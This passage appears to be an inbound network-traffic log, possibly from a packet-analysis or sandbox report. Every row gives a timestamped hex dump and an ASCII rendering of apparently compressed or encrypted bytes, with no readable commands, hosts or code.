64 b8 04 5d 23 70 c7 19 1a 92 62 ce 7e ef 7c bc df 7f b9 84 1f 39 5e f7 84 a7 18 cf d2 69 94 6b 90 94 2e 17 9f 29 86 e2 2a b3 88 50 45 Data Ascii: aXnmle>Im[sPt14;M_4Xi5T'#yC:3O=pDj}cuFf&]<=#mz0s'`rX\(D[.<AJv<#h[cg8P<@9lkj1}V>!d]#pb~\|9^ik.)PE
2023-08-13 06:43:54 UTC	1733	IN	Data Raw: d6 db 36 c8 32 0f a7 75 01 a9 09 af 01 49 ee cf f9 1b c2 c2 3c 73 1d 78 92 89 d6 18 b3 b2 b7 0f 95 33 3d 25 1a 62 c5 d5 e8 f9 4e 62 46 4f f3 4e 3a be 87 ac e3 d9 1a fc f0 24 e9 0f 36 5c bb 9b 9d 53 3c 9d 95 54 88 7c 48 86 f8 13 a9 2e 9d e7 49 35 1e 04 7d 6a 8c be cf 08 cb 50 f2 6c 1a 90 ea 3c d1 4d 69 e5 23 81 1d f9 75 07 b5 5d c5 57 67 f2 51 ad 2e 6b b3 03 3c 43 5d 1e 09 99 d3 6c 72 b4 1e 5c e2 8a 8f a8 f6 9a e7 3d c7 ab 14 3b bc bc 89 6a ab a9 3b b5 aa 7b 3d 53 24 81 cf 79 a2 64 86 c4 84 ac 51 90 84 d0 7d 02 6f 3f d5 de b1 bb e2 fe 69 c2 ee 22 a7 fe 66 38 cd 6c 45 06 0a 5d 19 9c 26 f6 99 32 75 84 5e b3 83 61 4b 63 17 62 82 6d 04 2c fe 74 2a bd 42 64 40 2e b7 8e 2a bb 50 61 7a bc 15 38 20 c2 36 7b 36 72 41 cb e0 0c fc ad f6 f1 91 a9 01 c2 3a 3e 06 67 e4 Data Ascii: 62uI<sx3=%bNbFON:$6\S<T\|H.I5}jPl<Mi#u]WgQ.k<C]lr\=;j;{=S$ydQ}o?i"f8lE]&2u^aKcbm,tBd@.Paz8 6{6rA:>g
2023-08-13 06:43:54 UTC	1749	IN	Data Raw: 4e 8f b5 67 ed 3a fa 91 02 c4 a9 ec 0c c7 d2 98 4d 1e a7 f3 e3 b9 96 51 3c 0a 4f d7 ce 98 88 06 fb 96 8a 4f 88 e2 33 c9 e4 7b fb de 09 36 dd f4 c1 5c 56 a9 af 44 52 e3 ee 6f 37 f5 41 1a eb a6 eb 18 bd 0d eb 5a 9a 11 3f c9 f5 4b 88 a8 0b e3 2b 49 20 ae 06 54 b5 19 79 15 f4 74 68 3f 6b f3 57 e6 61 5a 17 99 5e 3b a2 d0 1d 74 26 66 74 ec 43 5c 75 3c 2f e6 25 7c cf 31 fd 0b 26 b1 6c 04 5b ba e0 40 64 94 6b 2c c5 6a ce 4a fc 1f ab 82 ac 13 c4 6f 47 55 52 d1 e7 28 fd 5d 79 89 e5 ce 40 2d 6f f2 1a b2 58 3a dc a0 78 61 66 b2 c8 f2 42 66 1b 4d 3f 6d 89 9f 8a 9c cb 7d 1a 71 25 57 42 66 7c 31 f2 dc 9d ca 6c ce 5b 56 35 97 8a 6c 5a 2c 41 b6 d9 bd 3f a4 18 c6 35 ac a8 d2 ad ac ff 5a 85 e7 2e 3f c0 40 ee 05 56 9f 28 36 32 d7 44 d0 6f 7a b3 74 c7 24 1a 67 ae e8 b1 69 8b Data Ascii: Ng:MQ<OO3{6\VDRo7AZ?K+I Tyth?kWaZ^;t&ftC\u</%\|1&l[@dk,jJoGUR(]y@-oX:xafBfM?m}q%WBf\|1l[V5lZ,A?5Z.?@V(62Dozt$gi
2023-08-13 06:43:54 UTC	1765	IN	Data Raw: 36 82 f4 38 01 fa 2b 9e a2 09 42 b1 5b 74 23 39 00 e6 94 19 4c b7 9c 51 e3 14 60 ea fb 0a 60 f2 05 19 27 1e 6c 9e 17 d7 71 84 85 a9 db 33 d7 67 4c 69 be c7 1d 77 68 18 28 4f 9d 84 89 df 1c f0 49 bf 6d 00 80 a0 e3 73 0f c6 64 b7 18 4c 01 ed f7 72 e3 8b 02 7b 8b e3 b0 b2 ff ea 55 c3 e9 12 91 a2 b5 ea b0 38 9a bb 3f eb 3a f8 56 a8 81 0b b7 b4 51 95 a7 1d 10 77 7a 9f 09 ba 3f 8e 20 fb 38 b7 29 c5 ce 21 9e 44 91 ac ee ed fc 1e f5 38 b4 b5 9c 58 5c 4a 3b de 95 67 54 1c 96 bc fe 6b a6 5d 5d 9b ec 62 b3 aa 7d 3f 60 46 0c bd ef ae 06 25 bd f4 8d be 6f 36 20 d7 7c bb f2 60 a6 de ff c8 2b 3c c0 6d e2 ec 2a e9 2f e3 b5 8c b8 c4 85 d5 da 7e e9 35 05 eb fc 94 da a7 eb c3 76 2d dd 3b 40 f6 1e b7 47 13 e5 5a 5e fb bb 8f 6a 60 a3 03 4d ff 2e 2f 3d 1e fe 7a 3c 32 29 3f fa Data Ascii: 68+B[t#9LQ``'lq3gLiwh(OImsdLr{U8?:VQwz? 8)!D8X\J;gTk]]b}?`F%o6 \|`+<m*/~5v-;@GZ^j`M./=z<2)?
2023-08-13 06:43:54 UTC	1781	IN	Data Raw: eb 80 86 a6 39 b3 a9 fe fa 9a 07 de 75 22 4d b1 1c 27 ed 72 75 3f 2e fe 08 98 a9 16 f1 66 25 c0 cc aa fb 68 22 d1 1f 8b 90 48 5e 63 02 69 3d c6 58 04 77 64 78 2b 9e 97 35 2c 7f 5e 74 e4 69 d8 8f 39 ae 5b a7 0c 08 e7 16 70 df 51 34 1d 4d 53 b7 ba 09 78 9d 0a 4a d8 71 34 9a 83 dc fb 96 52 fd 96 fa 5e 45 57 08 9f df 12 5e 64 d0 db 96 0a 2e 8f 8f a9 b5 81 15 59 0d 64 8b ca e7 44 30 60 26 16 4c 73 30 40 28 c1 97 96 7f 8d 8f 8e 7b 72 09 d3 4c 8b 6e 06 fb b6 13 f7 38 17 f0 0e 7d 42 6b 74 33 b5 b9 e9 25 17 59 06 46 09 77 48 bd 39 03 d1 75 fc 94 dd 12 59 28 a9 c3 ef 80 d7 7c 1d c7 c2 ed 96 25 21 96 10 98 66 e0 cd 9a 17 6b 26 6d 79 22 7b d0 69 bd 2b 86 8e a8 e6 6b df 1e ea cd 5a 59 0d 64 d2 93 a1 69 5c 4d ee 78 8f 76 ae 3e ce 26 8e 9c 34 4b 84 23 89 07 98 9a 37 ac Data Ascii: 9u"M'ru?.f%h"H^ci=Xwdx+5,^ti9[pQ4MSxJq4R^EW^d.YdD0`&Ls0@({rLn8}Bkt3%YFwH9uY(\|%!fk&my"{i+kZYdi\Mxv>&4K#7
2023-08-13 06:43:54 UTC	1797	IN	Data Raw: e8 b6 dd 4f b4 21 89 26 42 da 3e 19 00 ae c1 54 92 e6 a9 ef b7 5d 8d 41 c1 b3 67 5d e0 76 24 28 95 46 7c be 46 f6 7a 04 41 ce f6 c4 c0 18 b7 b4 b5 cd de c1 b4 28 0f d9 92 a1 eb b8 21 de 0f c3 26 1c 74 0d 45 a8 c7 8b 11 da 5a b8 0a fd 37 93 1a c8 cd c2 6d 0e 7d ad cd f0 f5 93 ba a7 fd 09 55 a3 02 39 41 8a 1d be b2 80 65 30 98 0b ef 95 cb 61 ee d3 1c 64 09 a2 31 24 f7 b7 bd fb c9 7b 7d 10 ad 93 b0 76 10 3b b8 45 da 74 84 4b 61 8f 19 5f dc db e0 d5 db 8e 02 cc 8a 3b 8d 4f 46 2a 8e d7 79 fd e3 12 2c cb b0 32 2f 84 dd 63 a9 6e c7 f0 d2 44 1b 63 16 f2 75 1c fe 9d 9c 1b 57 dc 46 f9 29 93 38 fc 76 1c 47 e7 9b 06 ee d1 b7 27 04 21 98 c7 94 f9 a6 1e 78 ef a1 da 66 e5 1a fe 99 cb 1c 27 e3 9b 9b 99 8b 25 a0 db db 20 b0 6d e6 0f 20 a5 a2 39 d6 8a 2c c2 41 d0 fd 4d 0d Data Ascii: O!&B>T]Ag]v$(F\|FzA(!&tEZ7m}U9Ae0ad1${}v;EtKa_;OF*y,2/cnDcuWF)8vG'!xf'% m 9,AM
2023-08-13 06:43:54 UTC	1813	IN	Data Raw: 99 b0 6b d6 9d 1b 2b da 27 37 0a 61 bf 51 e3 08 32 54 de 81 c3 c2 83 e3 76 72 67 fd 18 c9 b1 38 0d 99 69 45 b2 15 8b e8 a7 77 1f a5 c7 c0 79 51 8d b3 53 a7 47 2c 79 33 86 31 6b 81 35 8c 91 4e 10 f9 39 97 58 81 3c 92 80 35 d5 a2 e1 28 cc 07 a4 d3 6e 20 f1 d4 80 58 f9 50 3a 8d 1d a5 13 79 6d b4 ff 1a d3 20 68 24 ab e0 fb 59 55 f6 a2 64 0b 89 5b 44 c7 87 b9 56 64 30 bc e6 26 ab 33 dc 7d 9e ac 1e ff b9 c2 ca 3b 46 9f 6a 81 9f 93 1e e9 24 4f fd bb 5f 67 54 e9 1a f6 af 08 e7 be be 81 88 03 20 3f cf ac d3 d7 cc 35 55 29 3c 1b 2e 9d 58 e4 6b c8 83 c1 66 ae 29 9f d1 c4 c6 65 44 76 82 02 4a b7 c7 5d 60 29 06 8f b9 0c db af c8 e9 61 1f 31 1c c1 ed d1 b7 dd e9 4e cd 10 41 09 b9 c1 d0 50 70 4b d7 5d fd 96 64 bb b9 7a 43 cc 48 87 b2 81 95 2e ee e9 83 33 b9 98 87 e3 8e Data Ascii: k+'7aQ2Tvrg8iEwyQSG,y31k5N9X<5(n XP:ym h$YUd[DVd0&3};Fj$O_gT ?5U)<.Xkf)eDvJ]`)a1NAPpK]dzCH.3
2023-08-13 06:43:54 UTC	1829	IN	Data Raw: 1f 62 23 24 7f fc 78 fa 5f 5b 3c d3 c9 1d 91 ce 18 1e 70 d5 91 0d 7f 0c aa 45 eb 85 37 a9 4d 02 69 43 fb c1 5b 85 2d 9f 3b 01 f4 9b c3 5d f9 4a 62 74 22 a7 95 5d 77 12 a9 22 4a 9e c5 31 eb 84 e5 c1 e3 97 62 bb 8d 6e 92 ce be 0b 88 3f f4 bf 1d fc ce f4 35 e4 a0 ad 70 7f 72 f9 a7 28 a0 ab bc 1c 38 48 32 43 fe fb ea b6 1e 49 a6 96 13 f1 92 a9 6f 69 d7 9c ca 30 01 4b 18 7f 47 19 88 2a df e5 44 37 8d 58 2f ce 28 2d 4b 92 0a 49 1c e5 2a 85 0d 85 5d b0 b5 be 56 80 73 af c7 2c ac 3a 02 37 00 55 21 e1 1c eb 62 80 3c 10 81 46 e9 a9 1c 69 e7 59 4d 31 7a b3 06 8c 58 84 a8 65 17 8f 4a a6 f8 6d b7 7a 0d 6e 20 7d d2 65 6a 39 c2 10 6d 01 33 52 99 3b 97 df b4 d0 d1 00 a6 ab dc 47 97 b9 8b e3 ea cb 49 c1 eb a3 95 6f 4f 56 d2 ff 95 0e a3 b8 81 5f d1 ca f3 7c 76 d7 7e 15 45 Data Ascii: b#$x_[<pE7MiC[-;]Jbt"]w"J1bn?5pr(8H2CIoi0KGD7X/(-KI]Vs,:7U!b<FiYM1zXeJmzn }ej9m3R;GIoOV_\|v~E
2023-08-13 06:43:54 UTC	1845	IN	Data Raw: 21 32 80 f9 70 64 53 b9 8e 78 78 66 6c a4 18 8e b7 b6 87 58 e0 70 23 52 6e c4 b2 00 2f 62 0b 07 bc fe c8 fb a9 fc 6f 04 ca f2 d1 e8 31 49 32 f5 6b e3 b2 a8 f1 3b 44 65 b8 cb 8e da 84 14 be 28 3c 73 9d 4e ba 59 b6 67 27 87 95 72 cd 79 72 6c af 8d 90 bb d1 dc 43 07 a8 da 10 d2 fa 57 6a 7e b0 a7 c6 a1 17 d9 39 78 1d c9 c0 cd fc b9 32 73 5e e2 9a b8 3f 56 a2 ff 55 55 2a 8e 6d f9 c9 a3 9e 5f 05 68 7a 26 31 87 3b 4e d6 c9 8b d2 12 19 2d dd eb 92 50 d6 74 ee ca 3e 59 21 75 b1 95 49 82 98 47 7a 06 73 a3 05 e4 a9 cd 66 93 f1 ee a3 fc 34 cd d9 97 38 5d d4 10 4d 34 1c b2 38 3b 32 e0 29 a9 74 a8 f7 d0 02 77 75 a9 4b 9f 34 83 21 2b aa 2f d5 81 74 05 fc bb 72 57 a4 45 ed 25 68 f9 31 a3 72 9b 63 51 99 2f 78 3c 33 5a dc 3b 83 e2 6e bc 63 e2 37 ba b7 9f 88 8b d3 a1 9c 6a Data Ascii: !2pdSxxflXp#Rn/bo1I2k;De(<sNYg'ryrlCWj~9x2s^?VUU*m_hz&1;N-Pt>Y!uIGzsf48]M48;2)twuK4!+/trWE%h1rcQ/x<3Z;nc7j
2023-08-13 06:43:54 UTC	1861	IN	Data Raw: 86 0f c5 d8 eb 19 26 b2 f9 1c 0b 04 78 a5 fd be b0 29 11 e5 a4 38 a5 68 89 70 88 44 1b 75 3e 26 1f 46 de fe d4 8b 2d d9 ba 2e 76 1a f4 3b 9c 13 ee 41 9c 1e 2c 32 81 a3 5d f7 40 49 6b 50 7c 4a 0d 2c fe 34 d9 cb b7 8a 6e f4 6b cb 72 bd fe f9 41 67 db fd bb 66 63 9d 6f a2 84 c5 0f 02 4a 4d c9 30 cd 15 32 f2 98 a0 b3 7a f7 5d 3b f6 a3 b1 e7 39 1b 2b 49 bc 02 a5 d1 2b ab 7a 85 c2 7e a0 61 9d 7b e6 27 a9 8d 54 4e c7 19 e2 8e bd 55 a2 9e 08 81 4f d1 2c 4e 9f fc 0c bc b9 de c3 5e 15 56 ce 18 ca 6c 71 5f 68 10 54 64 9b 01 39 cd 9c 94 92 d4 42 54 e6 fa 45 59 77 fc b6 8d 03 76 c9 5a 5b 48 3c 4c 43 4c 7c 06 61 99 c5 d0 48 e4 50 77 1b b2 b0 38 b5 73 c2 fe 36 39 22 53 6e bf 4d cd 58 e6 56 82 bd 27 a5 53 0b 8a 99 5b 06 05 59 d3 44 89 37 a3 ba c2 ee 6a e0 a2 b1 13 71 06 Data Ascii: &x)8hpDu>&F-.v;A,2]@IkP\|J,4nkrAgfcoJM02z];9+I+z~a{'TNUO,N^Vlq_hTd9BTEYwvZ[H<LCL\|aHPw8s69"SnMXV'S[YD7jq
2023-08-13 06:43:54 UTC	1877	IN	Data Raw: 81 62 da 5e a5 d1 11 02 63 a7 fb ed 4a b3 16 4c 1f 6d 25 d9 59 ed 4e 10 de 2c c8 d9 1c 7b 8a 33 dd da 02 7d 49 7b 63 71 e0 2c 22 21 f1 1b e7 fc 7d c3 49 42 ea e1 0a ed 63 f0 ca 46 6b 2f ca b4 0e dd 9e d7 89 80 29 3e 73 1c 73 a6 47 ef d2 5e 11 f4 35 4d 9d 64 92 cc 0e e1 da 04 2a fa c2 9e 31 12 ea f6 55 df 6a 62 ce 33 32 f4 df 23 4e 8c 7f 6d fa f6 66 f7 89 56 63 ce ba 21 eb ee 8a 04 68 c7 20 b9 42 36 8a 1f 92 b2 79 5d a1 2d dc 96 5b 82 84 db 35 08 4d 86 11 9b 88 0e 0d 7a 35 5d 3a 08 7c e2 36 5d b0 a3 c3 17 11 63 fb cb a5 c6 af c3 2f 9b 3c 13 db de 7d 58 03 2b 1c 17 56 27 3d bd ff 82 a3 a8 79 80 a8 b0 9d 03 df d1 3b 81 a9 b2 05 bc 4a c5 b2 1f 11 7f 91 7a c8 49 a1 9b 73 f7 a4 5e 64 1f 5e 0c 20 00 4c bf f8 a6 77 0a 7b 9d ff bd 86 eb b4 59 bc 47 40 63 f9 a7 e8 Data Ascii: b^cJLm%YN,{3}I{cq,"!}IBcFk/)>ssG^5Md*1Ujb32#NmfVc!h B6y]-[5Mz5]:\|6]c/<}X+V'=y;JzIs^d^ Lw{YG@c
2023-08-13 06:43:54 UTC	1893	IN	Data Raw: 41 65 a4 9c 6a 04 c6 a0 ac b1 cd 26 c4 60 80 f9 3f e3 b5 e7 f8 01 2a 02 a4 f4 74 49 17 12 16 17 68 20 2e 2c 8a 29 25 47 17 d9 01 d2 17 e8 89 20 17 32 41 43 88 ce 18 cb c9 97 92 ed 0c 12 97 a2 d9 89 16 5b 55 1c 5a 52 1e f7 bb de ed 9f 70 85 3f 28 d8 48 39 e2 18 57 a7 a8 43 66 76 b7 83 2d e9 6c f8 eb 42 96 bf 53 2e 92 f1 8c 74 8c e4 c6 13 0f 66 fe 7e ec 9e 33 be fb 28 86 36 07 76 b4 f7 80 01 a2 6a 1f 1f cb 9a 22 a8 0d 1e 18 68 d6 6a 70 d6 a1 e2 ef df c1 04 9f 67 6d a9 17 97 ef 50 5d a7 08 5e fc 80 94 06 4c f1 f3 b6 7c 32 bb f1 57 01 68 cf 17 17 47 bf 9f 72 90 f1 9e 18 a4 89 f6 8a 45 91 81 6f 2d ae 24 27 4b 08 9f 06 41 b4 d8 a8 52 32 5d f6 49 39 91 6e 37 e2 cd bd 7e a6 8e 58 0a cf d6 4d c3 5b 4e fe 77 14 d7 57 b4 39 d6 1c 23 d6 e4 ce 3b d3 6b 6e 24 f0 9e b1 Data Ascii: Aej&`?*tIh .,)%G 2AC[UZRp?(H9WCfv-lBS.tf~3(6vj"hjpgmP]^L\|2WhGrEo-$'KAR2]I9n7~XM[NwW9#;kn$
2023-08-13 06:43:54 UTC	1909	IN	Data Raw: 01 6a bf 98 95 04 89 dd 4e 70 11 7b b6 cf 07 15 04 c6 a9 61 46 32 3a 45 c3 12 cd e3 27 20 96 46 07 ff fc 47 f2 ef cd b8 b5 9b ab f7 96 9c 10 ce 09 49 0f fc a3 fe e3 fe 08 bc 61 db f6 89 a6 4d a4 39 4d 4d 0d 46 6c 09 7a f8 85 1b b5 0c 8c fd 4a c9 55 12 c4 1b 99 c6 46 f3 7e 00 eb 09 aa 0c a6 9c b6 b2 f6 bb 52 fb 6e f5 82 70 26 ed a7 03 8b cd 79 3d fd 3d 55 1a b7 1e 32 21 b6 d4 48 b8 e0 7f fd 6f 39 87 82 ce 91 e1 bf fe 08 74 4c 62 9b ad 40 ca da c8 1f 24 ad 9a 32 8b 56 6d f4 cb d7 28 72 fa 6b 21 76 17 c4 63 60 75 77 d2 b6 47 e2 c3 6b e8 58 db 21 27 6a 4a a1 62 ee 88 9b 81 bf 4e f8 6c 6a 0a 87 01 e9 98 2b 0c 49 56 d2 0e ee c9 05 95 f8 12 32 72 6b c7 af fc e0 69 61 60 a5 e1 70 4b 2a 81 95 76 ac 38 0b 0b 6f 73 8e e8 9d 62 7f 1d 5c 93 ac d0 3d 9f 6d ba fd be c8 Data Ascii: jNp{aF2:E' FGIaM9MMFlzJUF~Rnp&y==U2!Ho9tLb@$2Vm(rk!vc`uwGkX!'jJbNlj+IV2rkia`pK*v8osb\=m
2023-08-13 06:43:54 UTC	1925	IN	Data Raw: 91 ff e0 8f 5b 0f f0 ff f2 73 d4 ab ac 42 8b 32 b4 da 69 da 77 d1 fc 76 05 75 55 7b 10 67 ee be 0c 51 ef 78 f4 5d 65 1d 38 01 32 6a 63 8c bc 87 4b 08 65 cf 22 d4 f3 4b 81 03 1b aa f2 3e b8 20 22 fd ce 75 e0 e3 1c fd 06 1e 29 9a f4 2c ab 68 f5 d4 2f 13 d2 c5 5f 64 8b 10 f4 de 3f 53 76 5d 72 db d3 eb e5 48 22 a4 a1 c0 fd b5 14 00 9b fe fb 52 77 d3 a6 a2 47 e0 5c 14 8e e6 f7 e6 9b bb 9a 34 74 2d 28 af f2 2d f2 a3 32 88 ab 0b be b4 71 47 0a ba 63 29 80 82 d7 8a a4 c1 89 4b 1e 21 50 17 87 4e be 5d c1 82 ef 7c 1b 97 6b 11 c0 d5 2b 2a 4c c3 f8 65 78 fc 76 92 36 bf 17 a4 bf 6e 38 26 07 19 6a 4e c4 ce cb 39 61 fe 1b 42 f7 9d ae 40 c9 53 af 9c ef b4 ce 7c 3b a7 90 d9 7b 76 6a a7 74 fb e9 11 61 ea 3b f4 cb 29 01 b6 df 7c dd 5c aa aa 5c 7a a8 b4 d7 44 2e 3a 9a a7 3c Data Ascii: [sB2iwvuU{gQx]e82jcKe"K> "u),h/_d?Sv]rH"RwG\4t-(-2qGc)K!PN]\|k+*Lexv6n8&jN9aB@S\|;{vjta;)\|\\zD.:<
2023-08-13 06:43:54 UTC	1941	IN	Data Raw: c5 09 ca 3c 99 e7 ea b0 b7 c4 a5 dd e8 56 53 35 8e ff 58 eb 82 35 4b f1 f1 0e e0 7c 2b c5 38 a0 5a eb 48 44 59 c4 ab ad ca 11 d0 e1 d0 01 0b a4 90 5d 98 7f 01 67 1f f8 d0 fa 1e 37 2b 6f 58 c5 8f 3a 16 46 6e 0e 23 fb 01 db 88 f0 ef b6 48 36 ac a0 54 06 67 9a 98 a3 21 84 e1 84 0e 7a 53 00 dd 35 71 34 38 31 38 a7 98 83 31 ab f1 ef f6 f9 85 8b f1 be c4 62 49 a1 a5 2a e9 68 39 10 53 e4 54 a8 bf c6 e5 fd a5 91 83 d4 76 a1 f2 13 82 77 d7 e5 ef 3e da 15 51 c2 df 30 2f 92 5f c8 f7 2d d3 8b 80 d7 8f c0 f3 ba 95 15 1c 5b bd 36 26 3d 0e b9 d6 76 b8 7f b8 e2 95 48 b6 91 29 3b e7 14 54 ca e7 69 3a ba 08 e8 f0 f9 28 ea af c0 db 61 63 86 4b 2a cb b5 83 1c b5 8b 4e 38 74 a8 f1 e0 4a 8d 7a d7 7e 4e 02 b8 d5 dc 29 9f 3f 8b 5f 39 1d df 4d 2e 81 66 ec 48 c9 79 ab 84 8f 11 ff Data Ascii: <VS5X5K\|+8ZHDY]g7+oX:Fn#H6Tg!zS5q48181bIh9STvw>Q0/_-[6&=vH);Ti:(acKN8tJz~N)?_9M.fHy
2023-08-13 06:43:54 UTC	1957	IN	Data Raw: b1 3f dc 87 0e a3 83 99 ba 91 f4 6c 90 94 53 a4 14 b2 10 e0 43 ab 4c 3e 15 25 f5 32 b5 68 e8 58 58 5b ec f7 68 3d e2 86 3f ad 64 a0 36 98 55 05 03 ce fb f3 b6 d3 23 67 1e d4 ee 75 d9 a9 46 99 dc f0 d6 2c 39 56 0b 33 bd dc 34 94 e2 ec 7d 37 3e ca 2f a9 a6 5b 99 ee 79 ba db 9e 0d 01 16 7b 2d 84 c2 b7 1d 75 8c a5 e4 e0 17 9b e5 a1 fe 62 c7 a1 10 bd cb aa 08 81 74 2d 2a 32 e9 7a 6a 2f 0b 7b a2 84 9a 30 eb 5c e1 d1 a9 b7 48 be 6b 24 c7 19 43 8f 07 29 66 9b c5 2d 91 8d fa af c9 73 08 c4 7d 5f 4f 21 df 83 ea e1 3c ee 00 a7 b9 d3 a6 8f ce 20 bc 21 99 8f b2 fe b3 19 ca 8f 63 b2 6e d9 1e be 50 ce 0e 42 f2 99 a2 9a bf f5 dc c9 3a 71 eb 53 22 3f c7 33 ed e9 93 0c a7 cf 1b 82 4f 88 1c 7e 5e 01 d7 60 90 85 01 98 bc 3b e2 19 e5 d0 dc 0c ef 7c f7 86 ef fa 56 fe d9 95 12 Data Ascii: ?lSCL>%2hXX[h=?d6U#guF,9V34}7>/[y{-ubt-*2zj/{0\Hk$C)f-s}_O!< !cnPB:qS"?3O~^`;\|V
2023-08-13 06:43:54 UTC	1973	IN	Data Raw: b4 57 7b 23 9a 59 d6 41 2d aa b0 f5 19 c0 3a c3 25 2b 73 5e 63 32 8f 08 86 e1 12 09 75 40 bc 67 51 b3 cc 55 85 09 db 64 db 7a b9 35 0a bb ab 2c 71 2c 7f 99 4b 7f f4 5d 83 1b 67 6f 21 39 e6 a4 61 07 d9 c1 2b f3 11 ea c3 9b 08 00 47 26 e8 75 fd 2f e2 9f 2e 2a 03 9f 1c f8 f3 01 ac 70 ae 15 9a 94 12 d9 49 10 16 c8 09 ca 4e 45 cf 55 aa c7 55 1c 63 9e ac 25 36 b0 ce 21 c0 fa 9e 86 0e 95 eb fd 7d a9 fe 8a 1b 88 f4 02 b7 8e 06 11 01 b6 44 4c 9d aa 73 3c 7e 5c 44 76 8d cd f9 91 3c 92 4e af 33 64 6d bf 20 b3 78 07 a0 28 2e 06 e1 a9 ab cc f9 19 09 d1 c9 d8 f6 d5 c3 f5 01 da 73 29 3f 4a 5e f0 48 6a c7 cb 32 2c a3 58 f7 b3 a3 83 1e 54 86 65 17 cf 64 08 a4 a3 d9 de dd b3 45 1b f6 7a 16 09 a9 b4 25 49 ed 9e 29 ea b0 44 2b 2a a6 ed 8f 38 ef bb de 85 98 7f 21 e9 ec b7 23 Data Ascii: W{#YA-:%+s^c2u@gQUdz5,q,K]go!9a+G&u/.pINEUUc%6!}DLs<~\Dv<N3dm x(.s)?J^Hj2,XTedEz%I)D+8!#
2023-08-13 06:43:54 UTC	1989	IN	Data Raw: ad 44 a4 31 21 e8 93 8d 73 5e ef 2e 3f 21 b4 d6 be 38 3e 15 2a 9f 6a 10 a6 83 19 a5 c9 b7 d5 c6 4f 4f 41 e4 e0 f3 3d 62 4d a1 20 b0 01 04 65 84 6b 37 ee 19 f5 83 98 3e 65 e7 e4 a0 2a 75 a4 a8 15 0e ee 4c 9d df 59 71 7e a8 74 2d 25 42 5d ee 70 04 7e b9 2b f9 04 c0 8b ca dd 99 ea 9e 4a 5f cc ec 71 56 c9 5a 0f 6d b1 c6 1d 96 96 d8 2f fb 93 79 6a b3 ec ae af c9 e4 2d e4 21 4a 5e d3 ca d1 5a e8 34 dc f8 c7 32 48 cb bc a6 66 28 4c b8 51 d1 19 f0 48 63 aa b3 4e 6f 86 88 a4 53 49 d7 b3 53 46 26 66 e0 2f 31 89 f4 58 9d 76 0d c0 39 b7 13 85 6e 2f 98 c4 5e 98 15 06 fc ea 89 2b a8 6e d1 1a 33 9e b3 5d 9e f0 ca e8 cf c3 2b 8f 34 ef 35 b3 30 b4 70 c5 53 65 37 fa 1d 03 4f f8 a4 ef 15 f3 5a e5 31 0f db 54 aa cb aa 0d 6e bf fa ed 0b fd a1 25 8e 24 fd ce e1 ba 35 53 db cc Data Ascii: D1!s^.?!8>jOOA=bM ek7>euLYq~t-%B]p~+J_qVZm/yj-!J^Z42Hf(LQHcNoSISF&f/1Xv9n/^+n3]+450pSe7OZ1Tn%$5S
2023-08-13 06:43:54 UTC	2005	IN	Data Raw: 18 be 93 0c f2 a4 a0 61 4f 14 1a 9a 20 82 a9 9e 60 0b a1 0f 2f 1f 89 7e 73 3a 33 ea 0d 9c a0 13 1c 91 dc 93 6b 9b 65 f3 0c 11 42 af 27 fd 3a ff 5f 74 49 78 0f b7 d0 20 57 4a 72 83 e0 5b 86 fd 6d 60 14 ad 33 32 8f 27 70 d1 f9 4f 2c ac 9c 6c 83 76 a9 f8 e4 fd 4b 53 30 39 91 6d ca fa 3e 03 8c 1b fb 5e 5f de b3 44 d0 56 0b 89 4f 1d 77 9b 6f 48 df 32 70 5c ff 5b 14 7a 0c ef 15 31 19 e8 46 5a 61 ba 8f 94 eb 45 41 dc 1d 29 43 63 25 82 f4 bd 23 c5 d6 d2 ce 2e 93 0b 1d 33 dd a8 07 5b 1a fb 71 87 3d 29 bd 71 31 d1 83 d8 4c e5 02 81 c4 b6 b8 71 89 48 c9 3c 6f 41 24 96 33 d0 14 c5 7c 55 17 fe 9b 7c d3 4a 3e e7 41 6b 40 7b 59 bd 95 c7 4e bd da 02 1c 06 ce 65 a0 8d 0f 59 ab 20 9f 5e 93 fe 1e 22 bb 22 fd 86 d7 2e 90 76 77 c2 b8 c2 11 23 77 1b 0c 71 2c 46 ea bc 8d 79 ac Data Ascii: aO `/~s:3keB':_tIx WJr[m`32'pO,lvKS09m>^_DVOwoH2p\[z1FZaEA)Cc%#.3[q=)q1LqH<oA$3\|U\|J>Ak@{YNeY ^"".vw#wq,Fy
2023-08-13 06:43:54 UTC	2021	IN	Data Raw: 8f 8a f7 40 30 3f 62 63 41 2e 2d df 7a bf a0 fd f0 51 d4 19 14 41 e5 ca 81 7c 64 cf 5a f9 cc 14 bd 48 66 bd ef 10 36 19 32 64 5f b8 01 73 1e 07 ea 9b e4 3d 33 6d 07 59 a8 25 73 de f5 7f 8e c3 24 53 e8 97 78 e7 51 25 ee 97 40 24 c4 79 34 cb 69 b7 d9 16 30 93 d8 ba 5c b4 ad 2f 8d 81 14 8d 22 56 f1 ce 7f 26 79 e3 5d fd eb 1e 7d f7 7c 34 8c 91 50 62 b4 b1 b1 9e 0c 06 b5 61 e7 d4 6d bf c8 dd 23 bf 8b 0b 5a d8 78 f1 4c 55 95 3f 0a c2 70 4a ba ea 39 c2 2c 3b 55 a8 c1 de e9 29 5e 93 17 5b 0c 3d 8e 12 2b 01 c1 fe b9 b5 d0 50 11 e2 57 84 ea e9 08 22 ff de d7 49 1a a4 23 b7 2e 9c 53 fc 9d 07 a9 e3 a4 59 c4 7a 69 d0 6b 27 e2 0f fe 8f 1a 71 e9 23 a7 1d 05 af 22 fc 67 6b f6 1f cd a5 76 bb 03 bd 09 ce ac 9a 8c e7 44 5a 30 e9 50 4d 41 ec bc 6d 8c 96 78 85 0f 5c 27 c3 7f Data Ascii: @0?bcA.-zQA\|dZHf62d_s=3mY%s$SxQ%@$y4i0\/"V&y]}\|4Pbam#ZxLU?pJ9,;U)^[=+PW"I#.SYzik'q#"gkvDZ0PMAmx\'
